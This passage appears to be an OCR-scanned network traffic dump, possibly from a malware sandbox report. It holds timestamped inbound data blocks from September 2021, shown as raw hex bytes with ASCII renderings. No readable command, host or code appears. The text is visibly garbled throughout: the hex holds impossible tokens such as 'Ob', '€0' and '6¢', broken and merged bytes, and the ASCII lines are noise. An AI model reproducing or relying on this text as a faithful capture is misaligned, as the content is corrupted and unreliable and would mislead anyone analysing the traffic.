c81c c6 2d b0 31 91 32 dd 34 da fb fe 55 fc 0f 0d 72 7c 86 ae b9 Ob 6e b0 8f d5 cf 71 6¢ 36 f3 8e 76 e6 79 29 a0 d8 14 bc
f4 7a 3b fd 4c 09 87 51 3f a8 d0 d9 2a 9c bd Oe bb f9 ff b8 9e c9 04 c5 al 24 4c ca f9 68 50 19 6b 69 cd €0 40 f2 92 46 78
3b 04 7b d8 1a 41 f5 14 bd d0 92 8d 14 f8
Data Ascii: >Vrjf((ADATD[z(B7 94DZv <4$DPgocn-"@VP#&|*XbpWOp -124Ur|nql6vy)z;LQ?*$LhPki@Fx;{A

2021-09-28 11:02:14 UTC 131 IN Data Raw: 27 14 78 ee ce 31 e7 27 84 38 9c 8b Oc 6b 8f bf f8 e3 cf 1f f3 48 69 dc e4 4c 85 52 a5 7b 9f Oe c0 43 4e 34 €9
98 8b 64 54 15 55 51 €9 34 97 36 28 7d 3f 11 e6 96 42 b1 52 2¢ d7 d7 43 64 be fc 36 59 4d 5c 75 a6 06 bf 70 ff 64 03 81
64 5b e5 8f c2 Oc af 75 ¢7 ba 81 0a 5f 15 90 a3 d3 78 03 ef 95 69 5e c6 92 97 87 ce 02 4 42 5e 47 8¢ d6 49 90 3 ee c7 15
a3 a8 b9 b2 87 6¢ 40 53 f4 86 47 9d 35 Oc ed fa 10 a6 9d e dc 70 fb 8c 24 b3 55 df ad 4d 90 2f 08 ef a8 6b 04 46 74 50 fc
72 bf 09 3d 96 a0 b2 30 52 64 0d cd d5 38 97 5c ¢8 ef 79 a2 81 22 2d 51 46 9f dc a9 cd d3 3e 7a 91 95 bb e2 d2 2 ff e8
e5 fd 5c be 5f 64 4d 73 b0 86 dc 9d Oe 10 67 16 3a b2 4b 1 31 05 d3 2f 69 e6 €8 b6 55 df 7a 2a b9 cb 43 38 3a 00 23 7d
9a da f1 32 20 d8 f7 00 f3 33 a1 53 82 c6 34 95
Data Ascii: 'x1'8kHILR{CN4dTUQ46(}?BR,Cd6YM\updd[u_xi*B"GII@SG5p$UM/KFtPr=0Rd8\y"-QF>z.\_dMsg:K1/iUz
*C8:#}2 354

2021-09-28 11:02:14 UTC 132 IN Data Raw: 8c 4d 0d 21 42 e7 2d d8 fe 50 19 22 87 5¢ 42 10 27 90 1f 5f 52 29 e7 ce eb 95 9a 78 dd 00 fd ce e0 31 d9 05
9b 19 13 4a 6e b3 a4 66 df e4 f8 2f f6 €8 59 ab 25 ba 06 cd 96 af 2e ef f5 64 16 ef 9a 5e cb 64 24 8e df 94 c2 6b 51 b9 87
5 ba 87 55 1f ce 5 f4 3b 20 b8 91 aa df df 64 16 c1 04 e5 9f 02 61 c8 e7 46 57 99 15 f6 e6 66 3a 4b 20 46 7c 1b 63 5e f5
0Ob fd fO 8a af f6 b2 50 9d fO 5b c5 6b b6 f4 c9 d4 bc a6 bl a0 aa 2c bd a6 36 de 2a €3 82 e5 el el 0a Of b4 cb e8 c6 77 a0
8 1a 54 4e 00 1e 33 5b 83 66 f5 2a a8 08 dd 64 29 37 ch 78 09 a5 6d 81 39 dd a5 a7 2c 9e b6 da Ob a9 ed 82 02 7c c6 57
2d 1b cb ae 0d 70 7c 61 ef 6b 5f 27 4f 9a 8e 1b 45 e7 17 9b al b2 98 d8 b2 67 c9 fO 5d 95 a5 df 30 2b 8b 66 ¢6 51 bd 1f f3
12 1b 08 dd 05 3f 64 58 8f cb da e4 83 68 9b
Data Ascii: MIB-P"\B'_R)x1Jnf/Y%.d"d$kQU; daFWf:K F|c P[k,6*WTN3[f*d)7xm9,|W-p|ak_'OEg]0+fQ?dXh

2021-09-28 11:02:14 UTC 134 IN Data Raw: a6 b3 c0 25 Oc f2 ¢4 37 a3 b2 9c da 5¢ 57 70 ¢3 2b 54 db 89 ba bl 2e 08 75 17 63 3b 71 72 a7 dd 73 bf 29 e8
8 b0 b2 2f 6d 64 0d cd d5 38 97 5¢ c8 ef 79 a2 81 22 d7 50 46 9f dc a9 cd d3 3e 7a 6b 94 bb e2 d2 55 e3 e8 e5 fd 77 be 5f
64 4d 73 b0 82 dc 9d Oe 10 67 16 cO b3 4b f1 31 05 d3 2c 69 e6 12 b7 55 df 7a 6a a5 cb 43 3a 33 05 Oc 7f 9c 6 5d ca c7
40 f6 04 d7 37 7a 53 82 5¢ 8b 9d 51 d7 49 98 ab b3 af 42 97 cf 38 19 ba 3e b9 9e 8e ae c8 43 b6 8e e0 ba 8f b4 c0 28 b6
85 a8 aa bl 66 3b 84 61 f5 ee 18 77 26 61 85 13 5d 99 9c e0 81 33 f7 90 36 89 11 b2 2e 5d 54 c6 7e b6 8c 54 f6 dO 11 33
24 64 51 2b f3 78 ad ca 8b 01 ca 9e 02 f9 36 dd c2 bc 47 31 e6 el cb a0 59 02 d6 88 ea 1e a5 cc 7b 1e ce 85 e7 e0 8a aa
7d 5 76 dO 2f 69 ¢3 8b f3 d1 a7 3f 00 8e ec af 49 ca
Data Ascii: %7\Wp+T.uc;qrs)/md8\y"PF>zkUw_dMsgK1,iUzjC:3]@7zS\QIB8>C(f;aw&a]36.] T~T3$dQ+x6 G1Y{}v/i?I

2021-09-28 11:02:14 UTC 135 IN Data Raw: f1 5b €5 c0 9d d9 db ed 87 c9 9d a2 aa Oa 3e 36 48 47 34 c7 ae €8 1d el Oc 25 a8 90 5c d6 51 84 26 52 55 4e
20 ¢c8 18 76 91 57 fd 4f ab 08 db 6e 66 5b 52 79 16 ae 65 53 3b dd a3 17 8f cd 3e fd 2b 52 cd cb 03 5¢ 8b ¢3 08 36 c3 a0
00 3b 7d 67 c5 c9 fd ac 4e 9a 95 1f 6d cb 15 9b 3d bd 33 b7 0d 46 c9 f5 7d df 84 8e 3e b1l ae 53 fc 5a 9f 55 f4 38 9d 56 44
17 3f 60 67 9d e2 7 e6 19 4b 9c el 52 6b c0 f6 76 ec de 64 ac 7f 33 73 ff 32 91 25 7e ff 45 2a aa 4a 58 8b 8b 3c ac 07 9b
7d 0f ¢3 47 3f bf 93 94 1b 37 f5 9f 96 1b fb 07 de c9 94 91 9c a2 f8 ff 52 1e ae 90 7f €5 97 b0 dd 11 3a 92 89 bb 96 Ob bb
99 51 af bf d1 ¢7 1b 08 c2 b4 64 7b ee 59 43 dc 23 91 5e c4 60 ae 04 db 01 3c 53 c6 48 49 54 a0 fa a5 bd 58 08 4b c1 24
dd ce 47 1c fe 89 4f fc aa 6d el 59 85 fb 93 29
Data Ascii: [>6HG4%\Q&RUN vWON(f[RyeS;>+R\6;}gNm=3F}>SZU8VD? gKRkvd3s2%~E*IX<}G?7R:Qd{YC#""
<SHITXK$GOmY)

2021-09-28 11:02:14 UTC 136 IN Data Raw: b6 69 77 17 25 ab b3 ab 42 87 de 38 19 3f 12 bc al aa 8e a0 68 30 f0 59 2a 9a b0 e0 12 bb ad 85 32 94 4d 03
24 3f 49 ee 18 73 26 89 94 13 5d 1c b2 e5 be 17 d7 f9 1d 0Of 6f Ob b2 48 50 e6 47 97 a4 79 6e f5 3a Ob 84 3a ee 2b f3 7c
ad 28 9a 01 ca 1b 2a fc 09 f9 e2 ca 6¢ b7 98 58 77 b5 5d 22 ee 84 ¢2 33 3d €9 50 26 6e db 59 e0 8a ae 7d 1b 67 d0 2f ec
ef 8e cc f5 87 48 2b 08 92 16 82 df 7f 40 al al f4 47 46 41 52 f4 51 dO 75 90 30 4e de e6 f0 a2 67 c9 81 57 99 01 05 9f 1c
42 95 11 da dc ae b6 3f c1 a7 ba 36 fe ce 34 3c c4 69 8e d4 38 64 db 5b 56 62 4d 34 4d e6 98 31 d9 89 e8 2f 92 1f a8 91
e2 f3 b4 c3 7d fd fe ed 60 29 Of 22 9f 7f 6a cc b8 Oc €9 €3 9¢ 7b 72 12 09 5b f8 51 25 Oc 60 Oc 3e f2 7c 31 b6 Ob aa 5a 62
ec 0d 12 61 5¢ 76 04 f2 c8 be 6e 9a 78 47 05 c5 d1
Data Ascii: iw%B8?h0Y*2M$?Is&]oHPGyn::+|(*IXw]"3=P&nY}g/H+@GFARQUONgWB?64<i8d[VbM4M1/} ) {r[Q% >|1Z
ba\vnxG
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kBytes
Timestamp transferred Direction Data

2021-09-28 11:02:14 UTC 137 IN Data Raw: b6 67 Oc 2d d6 f6 72 d7 bd 48 ae 7f af 7c 50 5e 2e 04 35 fa 65 bf 8b 59 4b 11 ae Oe 99 09 96 ea Oe c5 6d 99 25
1d 95 1b 2e fd fe 95 1b fd b7 79 9a 1f b6 bc ea d9 69 53 3e 99 19 5a c¢8 99 b3 d5 aa 39 92 8f bl fb 62 22 98 4b 83 b2 9e
c6 1d 22 de ef d0 68 c8 7d 2e 4a 22 91 7e 02 56 83 16 2 05 83 7f c4 48 6f 91 31 84 3c a3 48 24 46 8d 25 db e4 5b 47 4a
9a 69 d8 c4 f4 e0 59 a5 el a5 04 fa 48 6¢ ac ee b2 0d 3a 32 03 55 55 d6 ed bf 1b 2a e7 1c 16 72 ce fb 64 52 28 {7 6e c9 6f
be 66 Oc 51 77 57 57 3f 01 95 f6 al f1 1a 81 60 64 3f a7 ef Oe 35 56 c0 2a d9 b3 8b 15 94 83 69 c9 08 ef Of 53 57 ff 99 b5
1d c9 28 72 1c dc 5e 8c d2 71 6e de ec c7 89 ac 03 d5 0d a6 ba 44 73 6f a7 93 96 af 29 df c9 1le ab 04 9f da 5a 5d ef a5
b2 55 ¢4 91 b2 bd 2d 08 73 a7 c0 68 f9 55 87 f8
Data Ascii: g-rH|P*.5eYKm%.yiS>Z9b"K"h}.J"~VH0o1<H$F%[GJiYHI:2UU*rdR(nofQWWW? d?5V*iSW(r*qnDso)Z]U-shU

2021-09-28 11:02:14 UTC 139 IN Data Raw: ca 5f 2c a7 ad dc 77 6¢ 6¢ 56 de d1 84 6a ef a9 4b fe 90 d1 1e 66 53 a4 e0 ae 0a 37 cb 3d fe 94 31 Oc e9 dd af
20 cb 90 8f 1c d3 ca 1e bc 90 72 f1 4d 3d 44 ac 7a eb 63 d7 11 fa d1 93 00 8c a8 55 2e b2 ff 9d 1a fb ec bf f6 78 d2 fc eb
4c 853 ¢c5 07 7e 6e e8 ec b3 e8 e3 06 c4 7a 2d 3e 5d ac ee 24 0c 40 c7 b9 eb 7c 2e 9c Ob aa 5a 62 ec 0d 16 61 5¢ 76 04
f2 c8 74 6e 9a 78 47 05 c5 d2 c6 11 7b 2c b6 1b 33 d4 5d 35 da e0 d7 cc d1 0d Od ee 73 2d c1 06 2a df b4 af 15 ee 5 64
ac d6 b9 4c ed 5b e9 a7 f2 96 e2 cc 62 3b f9 73 97 af 7c 3d 32 f3 de b9 c4 04 bd bb fd df 59 17 c1 04 5f 93 21 70 ee d9 af
7b 9b 15 dO 01 f9 44 d2 3f 6e 55 39 9e 58 df 89 19 4c a6 bd d4 b2 6f 9c f0 5b 7f 7f 95 e5 ef eb 65 8f 9c a2 8a ff 8e 24 48
59 03 ce 84 c519 cb 8c 71 b7 ef c5d3 71 43
Data Ascii: _ WIIVjKfS7=1 rM=DzcU.XL~nz->]$@|.Zba\vtnxG{,3]5s-*dL[b;s|=2Y_!p{D?nU9XLo[e$HYqqC

2021-09-28 11:02:14 UTC 140 IN Data Raw: 28 e8 6e 6¢ 6b f4 b2 0d 07 e5 39 57 55 cf ca 11 48 b1 e6 1a 38 d4 53 63 65 52 b6 f2 da da 49 9e 1f 28 7c 65
51 11 bd 00 95 €9 94 d5 2f 83 60 7d 1a 09 bc 95 34 50 ee 88 43 2b 8a 15 0a 86 de da 2e cf 71 77 7a ee 9f ee 9c c8 28 6d
35 ef 6b 8e d2 6f 6¢ 75 90 5e 8e 86 81 8b 71 a6 ba 40 c9 d1 8b 81 b0 15 €9 f3 db 38 ab 1b 85 da 5a 62 f8 95 9f 57 db 8b
b0 16 51 91 74 8d 42 36 86 55 87 fc €8 9a 04 da bb 80 54 2e 73 4c 00 41 ce 3e bd c5 bd 5e 55 a0 85 04 df d3 38 06 47 8c
ed el ff 5b 49 95 21 c7 df 29 d5 c8 02 e3 7d 96 52 ff 56 75 9a 1c 8a 29 0d 10 65 1c 61 cc d2 fO ab 24 de d5 4e c6 31 2¢ 70
f2 4b 3b 95 23 42 27 1b 08 91 64 9a dc c6 9c 73 43 f6 06 dd 95 05 ca 83 c6 aa 90 aa f0 69 bc 30 96 82 70 cf ff d1 18 a5 37
bl 15 97 ae ce 76 3a d8 54 b9 8f b6 ca 8b c9 1c a9
Data Ascii: (nNlk9WUH8SceRI(|eQ/ }4PC+.qwz(m5kolurq@8ZbWQtB6UT.sLA>*UBGII!)}RVu)ea$N1,pK;#B'dsCiOp7v:T

2021-09-28 11:02:14 UTC 141 IN Data Raw: c2 e0 31 e4 23 ab 1b 13 53 4f 1d 7 fd de e2 d6 89 73 71 58 ab bb bf 21 dd b0 8f 4f ca d8 76 10 d3 9e 5c cb 7b
09 bf ef 96 c2 72 77 13 d4 6e bb 81 7b b9 4c 6¢ f5 3b be bd b7 b9 f9 ff 02 33 ec 16 e3 96 07 63 c8 f9 4e 5f 86 15 f0 d3 ed
6¢ ff 23 46 7e 11 18 20 6¢ Oa 67 d1 87 b1 d2 92 ad 07 d5 76 f7 7c 98 f8 cb cb a7 ae ae bf aa 2a 88 2a 60 6a 29 e3 80 ef 99
9f 93 Oe 2e ea e5 da 53 80 06 80 71 63 32 74 1d 56 81 71 dd 27 ea 15 db 4e b4 5b 7a 54 Ob al 4b 54 bf a3 3c 3c 09 b7 87
f229 56 ed 18 27 71 99 7f 0d 15 d3 86 20 52 2e 7a c5 €9 3e ad 66 b7 88 3b 43 cc 91 e5 a2 96 b5 cd b4 48 cb f1 5d 0f a0
a3 2c 0d ab 71 ec 7c bf 3f 90 25 9d 76 5b 12 17 4d 7a 8e cc f0 62 67 d4 b7 67 28 d2 d1 f4 72 cc Of 40 81 6d 8f 76 c2 22 b7
05 15 85 58 2a 8a 46 5c a3 a6 21 88 29 9c f9
Data Ascii: 1#SOsgX!Ov\{rwn{LI;3cN_I#F~ Igv|**]).Sqc2tVg'N[zTKT<<)V'q R.z>f,CH],q|?%V[Mzbgg(r@mv"X*F\!l)

2021-09-28 11:02:14 UTC 143 IN Data Raw: fe 72 bf b3 ed b0 b2 94 0f 43 4e 20 cf f5 8e 9d da b6 69 75 8a a8 00 f5 57 6¢ 19 38 15 el c1 1c 7a 78 97 bb e2
68 1d de fa c3 c2 4c 94 72 66 6d c8 ba 00 a2 1b 04 38 4e 34 3 b4 61 73 d5 b9 ff 3d 4b €6 03 b4 55 df cO 38 98 da 65 07
29 2a Oe 7f ba 14 fb b4 5e 5c de 2d 5 13 7d 79 04 b8 37 b1 43 f5 49 8f a8 b3 af f8 cc f2 2a 3f 85 04 93 b3 8¢ 8e 01 49 30
f0 66 8a a7 9d e2 0d b1l af 2e 4e 0d 4a 29 a6 61 e4 ed 18 77 9c c3 b8 01 7b a6 a3 ca ac 31 d7 96 3d Of 6f 34 25 75 7d e4
58 bl a6 d2 12 6¢ 3d 21 06 64 42 28 f3 78 17 7d b6 13 ec al 3a d3 1b df e2 b0 4c b7 98 67 €5 88 70 20 f1 8f cO 98 41 70
57 Oc ec 85 f6 €3 8a aa c7 4f 4b c2 09 56 fc al de d3 87 00 Ob 08 92 29 43 e2 52 42 be ab f6 ec 3a d8 55 de d3 8e db 93
30 4a 64 bl dc b0 41 73 93 78 8b 27 05 a9 3c 42 95
Data Ascii: rCN iuWI8zxhLrfm8N4as=KU8e)*"\-}y7CI*?10f.NJ)aw{1=04%u}XI=!dB(x}:Lgp ApWOKV)CRB:U0JdAsx'<B

2021-09-28 11:02:14 UTC 144 IN Data Raw: fe 9f 1b 54 4a 00 05 3f 5b 83 eb f8 2a b8 2e fb 19 a9 49 52 59 57 82 4d 7e 26 cd 8d 10 Ob b3 al d6 ad 28 74 83
02 58 ab 01 2f 1b d1 1c 05 5f 6e 41 e5 b1 23 be 4e ba e4 18 45 6 08 83 13 ba b7 c9 92 6d 4f 8f c4 94 85 8a 1e 72 89 7e
ee e6 9a 32 e7 le bd 2f 46 04 3f 40 fe ad ca da fb 16 65 9b 65 2c f4 eb 74 Oc 55 94 65 a8 5f f3 54 d2 20 2d 20 18 ef 63 Oa
dO 5b 4b 8b ab b6 ab 2f b6 61 27 e8 6f b9 c7 20 13 65 aa d4 d3 93 3b a0 9f fb e4 1c 92 91 fc df df 09 3c 99 83 5f 78 ab 95
523 20 ba a2 93 10 73 08 1a 2f 32 9e 9c c2 3b 54 5a 91 49 {3 ed 54 1f fb 03 cd 7c 98 73 8e bl e7 25 14 64 ec 65 4d 7e
20 ae be c2 c1 0d 6b 8b 05 80 cc dd 39 49 be 44 cd c2 4c bc 5b a5 7b a0 90 cb 6e 4c 2a c7 9f Of 1a cb 3e d3 2b 50 el 97
32 08 b9 18 3c f4 2a 47 48 40 Oa {7 a9 ca 6f be
Data Ascii: TI?[*.IRYWM~&(tX/_nA#¥NEmOr~2/F?@ee,tUe_T - c[K/a'o e;<_x# s/2;TZIT|s%deM~ k9IDL[{nL*>+P2<*GH@o0

2021-09-28 11:02:14 UTC 145 IN Data Raw: a8 27 bc 66 2b a2 47 fa 69 66 ee 07 e6 91 33 23 84 97 ¢8 36 14 da 84 3a 2f 11 29 2f 5d 70 43 7d b7 8c 4b 63
dd 11 23 02 42 5d ac 8d el 8c 58 9f 21 b5 83 0f d1 81 fa ef a8 4b 97 e7 7a ca a0 7d 96 d4 89 ea 01 31 c1 7b Oe e8 a3 ea
67 f4 33 5¢ 6a 62 f0 af 74 ca a3 44 f6 8a 2b Oc 28 12 34 48 ca 5f 82 9b ad dc 75 58 69 79 dc d7 a8 c6 17 4e d3 ff 94 5 82
€651 a4 7a 11 02 08 ff 3b 62 14 33 Oc c9 8e 68 05 ch 8f 88 29 d6 e5 1c ba bc da 09 aa a5 45 a8 5e 76 e0 d5 11 60 6e 9b
3c b8 ae c8 ad b0 ff bd bl 19 c9 bf eb 4f f2 d6 c6 48 af 77 91 18 01 7 ed cc 09 c9 60 04 5e 5f 9a Oa 56 9e 76 05 8f 42 e7
2b d2 74 08 80 23 98 4c 4a c7 25 90 19 ef f1 7a 6f €9 cb 6b ba fc df 20 e8 5a c5 1c d6 Ob 96 9f 11 4c 44 15 c6 d9 de e4 e3
1b 25 ¢55b ab b9 b5 ad al 29 8e d5 eb d5 el 34
Data Ascii: 'f+Gif3#6:/)/[pC}Kc#B]X!Kz}1{g3\jbtD+(4H_uXiyNQz;b3h)EAV n<OHW~_VVB+t#LJ%z0k ZLD%[)4

2021-09-28 11:02:14 UTC 146 IN Data Raw: 57 22 c7 6d bf eb 88 eb 82 32 d5 d7 b7 be f9 9d fb 7e a3 9a ad c8 d9 5a 50 3e 99 a3 59 c2 88 95 ec 14 15 90 8f
97 3a f3 5¢ 01 50 ab 9b bc 60 19 08 58 Ob 6¢ 44 da 5f 2e 7b 21 91 7e b8 5a 89 04 c4 3a 05 56 €9 4a 4f 78 Oc 02 42 25 59
Oc 6f af 82 df ce dd a3 f6 b6 7b fa c4 cb e3 59 a5 5b ba Oe e8 6e 53 3d c7 9f Of 1a cb 3e d7 2b 50 el 97 32 08 4f 18 3c f4
2a 47 48 43 0a 7 5f ca 6f be dc 6a 5b 65 71 69 8e 2d 97 f6 87 d7 84 ff f9 7a 30 8b e2 a5 37 50 ea 32 82 07 98 33 b0 Oa f1
c8 08 cf de 51 7a ee a0 a6 af e5 2a 72 3a ed c4 f2 4b 68 46 {7 ce 6d 8d 86 85 31 b1l 8a ab 66 73 5e a4 93 96 15 72 d5 db
3896 b7 b3 d8 5a 7b d8 3b cc cc da 8d 9e b0 84 0a 75 8d dc 33 4d 46 al dc d9 bd 29 c8 bd 25 95 2f 73 53 2c e7 f8 3c bd
dc 9c f4 06 3b 84 02 f1 71 ea 9d 46 8¢ 7a e4 35
Data Ascii: W'm2~ZP>Y:\P"XID_.{!~Z:VJOxB%Y ofY[nS=>+P20<*GHC_0j[eqi-z07P23Qz*r:KhFm1fs"r8Z{;u3MF)%/sS,
<;qFz5

2021-09-28 11:02:14 UTC 148 IN Data Raw: 96 1b Oc c9 b1 88 08 €6 8d 97 32 d4 4e 60 23 bb 0 8b f4 fO 46 a8 5a cc 47 fa 03 46 d4 72 13 aa 88 c8 6e 98 ff
bd 8e c8 c4 92 e9 50 9 d4 69 34 36 70 bb 9a 5f a3 ee cc 0d 73 c6 2b 4f 79 20 e2 79 8¢ 50 05 67 6a e7 2b e8 54 03 82 23
81 72 e0 94 be 91 1f c1 57 ca f4 e8 cb f5 bf 55 cc 06 ¢8 Oe e2 31 ¢4 0d d9 31 13 4c¢ 59 1d {7 fd de e2 d6 89 73 71 58 ab bb
bf e4 dd b0 8f 4f ca d8 76 10 d3 5b 5¢ cb 7b 09 d0 d8 96 c2 72 72 13 d4 6e bb 81 7b bd 4c 6¢ 5 3b be bd 6¢ b9 f9 ff 02 33
ec 15 e3 96 dc 63 c8 f9 4e 05 bl 15 fO d1 c8 69 d0 21 40 52 bd e0 c7 f4 Ob 63 f5 76 bf d0 92 37 b8 dd 49 ¢3 7a 69 6 c9 cb
87 08 b6 a2 aa 35 9d Oc 65 45 2b e5 ac 43 61 78 0b 0f 2a ce 17 d5 51 80 9c 3f 79 5¢ 06 72 ef 59 83 71 fd 97 80 08 db 51
a5 61 7f 7b 09 a7 67 fc 47 44 a4 3d 0d 93 74
Data Ascii: 2N #FZGFrnPi46p_s+0y yPgj+T#WU11LYsgXOv[\{rr{Ll;I3cNi!@Rcv71zi5eE+Cax*Q?y\rY qQa{gGD=t

2021-09-28 11:02:14 UTC 149 IN Data Raw: 98 dc db 7e 65 71 57 99 2c 95 f6 9a d5 2f 83 60 7d 1a 0d bc 95 34 50 ee 88 54 28 8a 15 0a 86 de d9 2e cf 66
74 7a ee 9f d1 ab c8 28 69 14 ea 44 8c d4 43 c0 8d 77 c6 8f 82 a5 5f 96 a7 ba da 76 d9 b4 b5 b6 c1 Oe f2 db 18 c2 b3 9e
da 45 77 da 90 b0 55 dd a7 18 ee b6 09 75 89 66 e3 62 54 87 66 57 92 38 ee bd 55 b0 2f 73 6¢ 73 €3 d5 3e a4 f2 9b 74 78
a4 af 80 8b 8 47 9f 42 ac 16 c3 18 5a d3 b0 96 f3 d4 18 05 ea e5 e2 5d c0 5e 66 4d 6f b2 2d a0 04 09 3a e5 48 7a b3 4b
5 8b d7 fc 3d 4f 5¢ 14 9b 47 f9 7a ea b7 cb 43 07 41 04 Oe 7f 85 cc f3 99 5¢ 41 f0 2a 71 6d e2 52 82 c2 8e 48 41 f1 69 26
8f 9e bd 44 c9 27 3a 19 a5 17 fb 9f 8c ae d1 7f 18 dd 7b bb 89 9a 62 73 2e 84 a8 34 b4 b2 2b a2 41 4a ca 35 66 20 c6 6¢
11 5d 86 b7 48 80 31 f7 8b 34 22 6d 2b 29 77 d6 98 c1
Data Ascii: ~eqW,/ }4PT(.ftz(iDCw_vEwUufb TIW8U/sIs>txGBZ] fMo-:HzK=0\GzCA\A*gmRHAIi&D"{bs.4+AJ5f [[H14"m+)w
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2021-09-28 11:02:14 UTC 150 IN Data Raw: 88 12 66 el 71 94 df 1d 27 6f 30 91 86 d0 29 94 47 73 b5 c6 €7 0a 01 c7 3e 1f 3a 35 5a 7f 10 9e 64 a4 68 16 9f
f2 44 48 15 e6 2f 89 60 54 68 d1 63 ba d7 e0 a3 00 c4 67 8c c3 79 Ob 38 7a 27 24 3e 47 fa 66 fO 10 52 4d 54 2f 1b 2c 1f 07
99 39 99 fd e3 da 65 23 78 a7 a2 55 4e 71 a5 ca ab Oe cd 53 53 11 0d 75 35 57 2f f6 Oc a7 6d dc 7b a8 37 dd 3c 33 62 7f
d9 31 22 77 85 fe 7c 5e e6 87 bf 7d 02 a4 c1 4b Oc ¢7 00 77 57 8d c8 6d 21 39 2c fb b8 65 fc 11 c1 cd 18 74 cf 2a bc 1b b5
8cee a3 75e9de 76 b4 b2 a0 17 12 bc 53 d7 45 90 40 c3 06 af 4f 77 39 04 6d 66 96 c4 c6 ea 11 45 d1 57 18 d2 5 c5 43
f9 a9 51 98 42 92 7b ab 21 c0 3fOb dc 75 12 b2 68 84 52 06 d6 03 €9 74 al c3 07 a0 7d 42 82 6d 9b e0 00 18 48 ca 28 45
2324 10 5b 5e 37 28 3f 90 d5 60 6e aa 26 6e 7a
Data Ascii: fq'00)Gs>:5ZdhDH/ Thcgy8z'$>GfRMT/,9e#xUNqSSu5W/m{7<3b1"w|"}KwWm!9,et*uvSE@OwIMfEWCQB{!?
uhRt}BmH(E#$["7(? n&nz

2021-09-28 11:02:14 UTC 151 IN Data Raw: 86 df c8 17 09 5e 6e a0 65 65 6¢ 68 c7 24 e5 e6 c5 ae 26 98 28 9a b0 82 fc aa 77 2c 9d 42 2d b4 53 99 e9 4c
90 14 16 76 f7 82 31 78 e4 87 b0 83 88 f1 31 60 77 4b c6 fd 50 b2 71 ab db e5 3a 77 ed cd 02 ae 26 ff e2 f7 d1 14 ba 9b 6¢
le c5 73 df €9 f7 fe 84 24 65 a2 08 e9 cb e0 ba 53 ed d1 e5 49 f3 37 57 f1 Oe b4 99 69 1e 68 bc c7 64 3d ee ac 94 d4 5b
89 b9 37 2d 5c 79 4c 24 30 81 28 af d4 0a 35 d8 3b 3f 00 4b 71 16 d1 76 98 53 93 1e ed ac 05 ca 16 83 fb a9 6a a6 bc 7c
dc ba 5d 2b d5 bb ee 35 14 cc 7a 12 fe 97 e0 c9 91 bb 6b 55 4f a8 32 49 el 9e cf €8 91 Ob 1a 31 e5 20 6f 0f a3 9b 72 71
1f af 8¢ 81 96 11 2a 5d 38 50 e7 d0 01 4d 3c 7d 9d 83 7c a5 5d f9 e0 28 8a b4 52 d4 f0 32 42 4a ea 2b 67 78 d2 10 3d eb
1d 7c 07 7a 38 d7 b8 44 99 9f 8¢ 20 f0 dO 21 49 f2 5f
Data Ascii: “neelh$&(w,B-SLv1x1 wKPq:w&Is$eSI7Wihd=[7-\yL$0(5;?KqvSj|]+5zkUO2I1 orq*|8PM<}|](R2BJ+gx=|z8D !l_

2021-09-28 11:02:14 UTC 153 IN Data Raw: 65 6d ba 91 2d 57 ¢8 8f 25 f3 97 a0 24 75 c3 d9 d1 ca 71 16 db 1f e5 31 24 c0 fe 50 a5 2b 95 77 45 39 74 a6 7d
47 bf 76 8d 9b 30 6e c4 23 b0 6a al 13 b3 76 d5 25 5e 1d 63 34 2e c3 d4 86 b7 48 10 f7 6a 3f e7 c6 f2 25 a7 a8 5b 87 4f
80 28 be 50 c6 3e 08 d7 24 41 el 37 6e af f4 52 f9 47 8b Oe 73 b9 13 dd eb 3c a3 41 68 df db cf 42 b5 ce e2 c3 a3 9a a7
b5 b2 fc 47 2b 95 c4 3d fc 9b 86 {3 6f 2b 8¢c 95 89 16 3d 4a fO 29 d2 b3 b2 bc 60 68 25 aa 4d 61 cb 40 77 a8 1e a6 49 b2
12 ce 3f f9 18 30 Of f1 70 77 44 fe 12 b6 36 c6 93 a5 43 b1 48 4c 42 e4 3¢ 70 81 2322 e8 77 81 75 a9 49 a5 67 b8 92 ec
2c 26 db ff 2a 3 ae e6 64 4f 2a 84 c9 06 ad 8c 51 0a 9c b6 a7 c7 2b 1b 23 8e 1f 41 dc 83 9a 93 de Oe f3 10 73 1d 34 8f 01
e0 f9 a0 51 00 ce e3 87 6¢ 2c 6b e7 50 d2 15 12 7a
Data Ascii: em-W%$ugql$P+wEt}GvOn#jv%”c4.Hj?%[O(P>$A7nRGs<AhBG+=0+=J) h%Ma@wI?0pwD6CHLB<p#
"wulg,&*dO*Q+#As4Ql,kPz

2021-09-28 11:02:14 UTC 154 IN Data Raw: cc 03 22 e2 f7 5a 89 9f f0 ¢7 d5 92 53 ce 3a f4 91 68 90 c7 56 8d 52 80 a3 f6 2e d5 d1 3c bf d4 47 5b bb df a3
52 66 a6 30 5a b6 f7 93 b8 ca c3 06 30 2c ab 4e Oe b5 cb ae 8c f2 4b 49 7d b6 77 33 a5 06 Oc €3 92 82 05 39 25 37 aa b3
ec bb c6 28 4e el 8e fa bf 57 4b 85 76 91 Ob 26 ee 10 46 8c 25 1b db b9 ac 2f 98 8e 95 28 e6 ca Oc 88 a6 c8 al fa 1la 72
bb 5b 74 5a fd 3d 4d d3 a5 13 86 a0 d6 11 84 d9 be 84 dc db af da 75 f5 e4 d0 65 6¢ b6 7f 56 8d a8 23 04 cc 2b 37 fb a8
99 c8 ef 8¢ 58 87 2 ee b2 34 9 2e ac f6 58 f9 54 cc 87 12 ¢3 7c €3 28 8¢ el 14 04 3b b3 4b 9f 36 c1 4d 17 14 c6 33 ef 7a
e2 ef 93 b8 cb 20 Oc 30 2c 24 8a 9c 69 dc 29 31 2f 95 58 32 22 5b 67 79 €5 aa 55 29 ca 5d €6 bd 06 49 08 5e fe el 91 4c
ea 21 3ae9 9289 67 70 da 3a 3a 13 1le 57 57 03 99
Data Ascii: "ZS:hVR.<G[Rf0Z0,NKI}w39%7(NWKV&F%/(rtZ=MuelV#+7X4.XT|(;KEM3z 0,$i)1/X2"[gyU)]I"L!:gp::WW

2021-09-28 11:02:14 UTC 155 IN Data Raw: c5 a2 40 69 d8 dd c1 5¢ 23 37 ¢5 10 fO fc e1 8b 59 57 0d 80 3c 31 91 3¢ 71 a2 4e ea 2c ¢7 0d c6 60 a2 57 70
16 a0 29 39 38 56 f9 5¢ c1 2f 71 1f f3 18 bd b3 a2 5d b3 a4 4f d8 eb 6¢ el 16 8d 77 96 2b e2 60 5f 21 e5 b6 1b 16 da 1a
74 46 da fa 8c 2b 2b ca 21 22 e3 b7 47 5d 75 03 ed e4 c1 46 9b da 35 68 50 53 41 c3 1e af da b9 e6 39 ba 58 09 20 b7 el
